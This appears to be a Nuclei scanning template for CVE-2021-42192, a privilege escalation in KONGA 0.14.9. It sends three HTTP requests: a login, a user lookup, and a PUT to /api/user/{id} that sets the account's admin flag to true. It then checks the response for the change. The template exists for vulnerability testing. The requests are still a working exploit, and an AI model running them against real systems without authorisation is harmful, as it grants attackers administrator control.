id: CVE-2021-42192 info: name: KONGA 0.14.9 - Privilege Escalation author: rschio severity: high description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter. remediation: | Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor. reference: - http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html - https://www.exploit-db.com/exploits/50521 - hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192 - https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing - https://github.com/pantsel/konga/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-42192 cwe-id: CWE-863 epss-score: 0.0106 epss-percentile: 0.82467 cpe: cpe:2.3:a:konga_project:konga:0.14.9:*:*:*:*:*:*:* metadata: max-request: 3 vendor: konga_project product: konga tags: authenticated,edb,cve,cve2021,konga,intrusive http: - raw: - | POST /login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"password": "{{password}}", "identifier": "{{username}}"} - | POST /api/user/{{id}} HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Referer: {{BaseURL}} Content-Type: application/json;charset=utf-8 {"token": "{{token}}"} - | PUT /api/user/{{id}} HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Referer: {{BaseURL}} Content-Type: application/json;charset=utf-8 {"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"} req-condition: true matchers-condition: and matchers: - type: dsl dsl: - contains(body_2, "\"admin\":false") - contains(body_3, "\"admin\":true") condition: and - type: word part: header words: - application/json - type: status status: - 200 extractors: - type: regex name: id group: 1 regex: - '"id":([0-9]+)' internal: true part: body - type: regex name: token group: 1 regex: - '"token":"(.*)"' internal: true part: body